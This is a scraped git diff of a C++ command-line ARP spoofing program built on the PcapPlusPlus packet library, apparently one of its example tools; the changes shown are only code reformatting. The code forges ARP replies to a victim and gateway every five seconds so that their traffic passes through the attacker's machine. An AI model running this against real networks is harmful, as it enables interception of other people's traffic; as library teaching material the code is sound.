1414#include < Logger.h>
1515#include < getopt.h>
1616
17-
18- #define EXIT_WITH_ERROR (reason ) do { \
19- printUsage (); \
20- std::cout << std::endl << " ERROR: " << reason << std::endl << std::endl; \
21- exit (1 ); \
22- } while (0 )
23-
24-
25- static struct option L3FwdOptions[] =
26- {
27- {" interface" , required_argument, nullptr , ' i' },
28- {" victim" , required_argument, nullptr , ' c' },
29- {" gateway" , required_argument, nullptr , ' g' },
30- {" help" , no_argument, nullptr , ' h' },
31- {" version" , no_argument, nullptr , ' v' },
32- {nullptr , 0 , nullptr , 0 }
17+ #define EXIT_WITH_ERROR (reason ) \
18+ do \
19+ { \
20+ printUsage (); \
21+ std::cout << std::endl << " ERROR: " << reason << std::endl << std::endl; \
22+ exit (1 ); \
23+ } while (0 )
24+
25+ static struct option L3FwdOptions[] = {
26+ { " interface" , required_argument, nullptr , ' i' },
27+ { " victim" , required_argument, nullptr , ' c' },
28+ { " gateway" , required_argument, nullptr , ' g' },
29+ { " version" , no_argument, nullptr , ' v' },
30+ { " help" , no_argument, nullptr , ' h' },
31+ { nullptr , 0 , nullptr , 0 }
3332};
3433
35-
3634/* *
3735 * Print application usage
3836 */
3937void printUsage ()
4038{
4139 std::cout << std::endl
42- << " Usage:" << std::endl
43- << " ------" << std::endl
44- << pcpp::AppName::get () << " [-hv] -i interface_ip -c victim_ip -g gateway_ip" << std::endl
45- << std::endl
46- << " Options:" << std::endl
47- << std::endl
48- << " -i interface_ip : The IPv4 address of interface to use" << std::endl
49- << " -c victim_ip : The IPv4 address of the victim" << std::endl
50- << " -g gateway_ip : The IPv4 address of the gateway" << std::endl
51- << " -h : Displays this help message and exits" << std::endl
52- << " -v : Displays the current version and exists" << std::endl
53- << std::endl;
40+ << " Usage:" << std::endl
41+ << " ------" << std::endl
42+ << pcpp::AppName::get () << " [-hv] -i interface_ip -c victim_ip -g gateway_ip" << std::endl
43+ << std::endl
44+ << " Options:" << std::endl
45+ << std::endl
46+ << " -i interface_ip : The IPv4 address of interface to use" << std::endl
47+ << " -c victim_ip : The IPv4 address of the victim" << std::endl
48+ << " -g gateway_ip : The IPv4 address of the gateway" << std::endl
49+ << " -h : Displays this help message and exits" << std::endl
50+ << " -v : Displays the current version and exists" << std::endl
51+ << std::endl;
5452}
5553
56-
5754/* *
5855 * Print application version
5956 */
6057void printAppVersion ()
6158{
62- std::cout
63- << pcpp::AppName::get () << " " << pcpp::getPcapPlusPlusVersionFull () << std::endl
64- << " Built: " << pcpp::getBuildDateTime () << std::endl
65- << " Built from: " << pcpp::getGitInfo () << std::endl;
59+ std::cout << pcpp::AppName::get () << " " << pcpp::getPcapPlusPlusVersionFull () << std::endl
60+ << " Built: " << pcpp::getBuildDateTime () << std::endl
61+ << " Built from: " << pcpp::getGitInfo () << std::endl;
6662 exit (0 );
6763}
6864
69-
7065pcpp::MacAddress getMacAddress (const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDevice* pDevice)
7166{
7267 // Create an ARP packet and change its fields
@@ -75,26 +70,22 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
7570 pcpp::MacAddress macSrc = pDevice->getMacAddress ();
7671 pcpp::MacAddress macDst (0xff , 0xff , 0xff , 0xff , 0xff , 0xff );
7772 pcpp::EthLayer ethLayer (macSrc, macDst, (uint16_t )PCPP_ETHERTYPE_ARP);
78- pcpp::ArpLayer arpLayer (pcpp::ARP_REQUEST,
79- pDevice->getMacAddress (),
80- pDevice->getMacAddress (),
81- pDevice->getIPv4Address (),
82- ipAddr);
83-
73+ pcpp::ArpLayer arpLayer (pcpp::ARP_REQUEST, pDevice->getMacAddress (), pDevice->getMacAddress (),
74+ pDevice->getIPv4Address (), ipAddr);
8475
8576 arpRequest.addLayer (ðLayer);
8677 arpRequest.addLayer (&arpLayer);
8778 arpRequest.computeCalculateFields ();
8879
89- // setup arp reply filter
80+ // setup arp reply filter
9081 pcpp::ArpFilter arpFilter (pcpp::ARP_REPLY);
9182 if (!pDevice->setFilter (arpFilter))
9283 {
9384 std::cerr << " Could not set ARP filter on device" << std::endl;
9485 return pcpp::MacAddress::Zero;
9586 }
9687
97- // send the arp request and wait for arp reply
88+ // send the arp request and wait for arp reply
9889 pDevice->sendPacket (&arpRequest);
9990 pcpp::RawPacketVector capturedPackets;
10091 pDevice->startCapture (capturedPackets);
@@ -107,7 +98,7 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
10798 return pcpp::MacAddress::Zero;
10899 }
109100
110- // parse arp reply and extract the MAC address
101+ // parse arp reply and extract the MAC address
111102 pcpp::Packet arpReply (capturedPackets.front ());
112103 if (arpReply.isPacketOfType (pcpp::ARP))
113104 {
@@ -117,8 +108,8 @@ pcpp::MacAddress getMacAddress(const pcpp::IPv4Address& ipAddr, pcpp::PcapLiveDe
117108 return pcpp::MacAddress::Zero;
118109}
119110
120-
121- void doArpSpoofing (pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatewayAddr, const pcpp::IPv4Address& victimAddr)
111+ void doArpSpoofing (pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatewayAddr,
112+ const pcpp::IPv4Address& victimAddr)
122113{
123114 pcpp::MacAddress gatewayMacAddr;
124115
@@ -150,84 +141,77 @@ void doArpSpoofing(pcpp::PcapLiveDevice* pDevice, const pcpp::IPv4Address& gatew
150141 // Create ARP reply for the gateway
151142 pcpp::Packet gwArpReply (500 );
152143 pcpp::EthLayer gwEthLayer (deviceMacAddress, gatewayMacAddr, (uint16_t )PCPP_ETHERTYPE_ARP);
153- pcpp::ArpLayer gwArpLayer (pcpp::ARP_REPLY,
154- pDevice->getMacAddress (),
155- gatewayMacAddr,
156- victimAddr,
157- gatewayAddr);
144+ pcpp::ArpLayer gwArpLayer (pcpp::ARP_REPLY, pDevice->getMacAddress (), gatewayMacAddr, victimAddr, gatewayAddr);
158145 gwArpReply.addLayer (&gwEthLayer);
159146 gwArpReply.addLayer (&gwArpLayer);
160147 gwArpReply.computeCalculateFields ();
161148
162149 // Create ARP reply for the victim
163150 pcpp::Packet victimArpReply (500 );
164151 pcpp::EthLayer victimEthLayer (deviceMacAddress, victimMacAddr, (uint16_t )PCPP_ETHERTYPE_ARP);
165- pcpp::ArpLayer victimArpLayer (pcpp::ARP_REPLY,
166- pDevice->getMacAddress (),
167- victimMacAddr,
168- gatewayAddr,
169- victimAddr);
152+ pcpp::ArpLayer victimArpLayer (pcpp::ARP_REPLY, pDevice->getMacAddress (), victimMacAddr, gatewayAddr, victimAddr);
170153 victimArpReply.addLayer (&victimEthLayer);
171154 victimArpReply.addLayer (&victimArpLayer);
172155 victimArpReply.computeCalculateFields ();
173156
174157 // Send ARP replies to gateway and to victim every 5 seconds
175158 std::cout << " Sending ARP replies to victim and to gateway every 5 seconds..." << std::endl << std::endl;
176- while (1 )
159+ while (1 )
177160 {
178161 pDevice->sendPacket (&gwArpReply);
179- std::cout << " Sent ARP reply: " << gatewayAddr << " [gateway] is at MAC address " << deviceMacAddress << " [me]" << std::endl;
162+ std::cout << " Sent ARP reply: " << gatewayAddr << " [gateway] is at MAC address " << deviceMacAddress << " [me]"
163+ << std::endl;
180164 pDevice->sendPacket (&victimArpReply);
181- std::cout << " Sent ARP reply: " << victimAddr << " [victim] is at MAC address " << deviceMacAddress << " [me]" << std::endl;
165+ std::cout << " Sent ARP reply: " << victimAddr << " [victim] is at MAC address " << deviceMacAddress << " [me]"
166+ << std::endl;
182167 pcpp::multiPlatformSleep (5 );
183168 }
184169}
185170
186-
187171int main (int argc, char * argv[])
188172{
189173 pcpp::AppName::init (argc, argv);
190174
191- // Get arguments from user for incoming interface and outgoing interface
175+ // Get arguments from user for incoming interface and outgoing interface
192176
193177 std::string iface = " " , victim = " " , gateway = " " ;
194178 int optionIndex = 0 ;
195179 int opt = 0 ;
196- while ((opt = getopt_long (argc, argv, " i:c:g:hv" , L3FwdOptions, &optionIndex)) != -1 )
180+ while ((opt = getopt_long (argc, argv, " i:c:g:hv" , L3FwdOptions, &optionIndex)) != -1 )
197181 {
198182 switch (opt)
199183 {
200- case 0 :
201- break ;
202- case ' i' :
203- iface = optarg;
204- break ;
205- case ' c' :
206- victim = optarg;
207- break ;
208- case ' g' :
209- gateway = optarg;
210- break ;
211- case ' h' :
212- printUsage ();
213- exit (0 );
214- break ;
215- case ' v' :
216- printAppVersion ();
217- break ;
218- default :
219- printUsage ();
220- exit (-1 );
184+ case 0 :
185+ break ;
186+ case ' i' :
187+ iface = optarg;
188+ break ;
189+ case ' c' :
190+ victim = optarg;
191+ break ;
192+ case ' g' :
193+ gateway = optarg;
194+ break ;
195+ case ' h' :
196+ printUsage ();
197+ exit (0 );
198+ break ;
199+ case ' v' :
200+ printAppVersion ();
201+ break ;
202+ default :
203+ printUsage ();
204+ exit (-1 );
221205 }
222206 }
223207
224- // Both incoming and outgoing interfaces must be provided by user
225- if (iface == " " || victim == " " || gateway == " " )
208+ // Both incoming and outgoing interfaces must be provided by user
209+ if (iface == " " || victim == " " || gateway == " " )
226210 {
227211 EXIT_WITH_ERROR (" Please specify both interface IP, victim IP and gateway IP" );
228212 }
229213
230- // Currently supports only IPv4 addresses
214+ // Currently supports only IPv4 addresses
231215 pcpp::IPv4Address ifaceAddr;
232216 pcpp::IPv4Address victimAddr;
233217 pcpp::IPv4Address gatewayAddr;
0 commit comments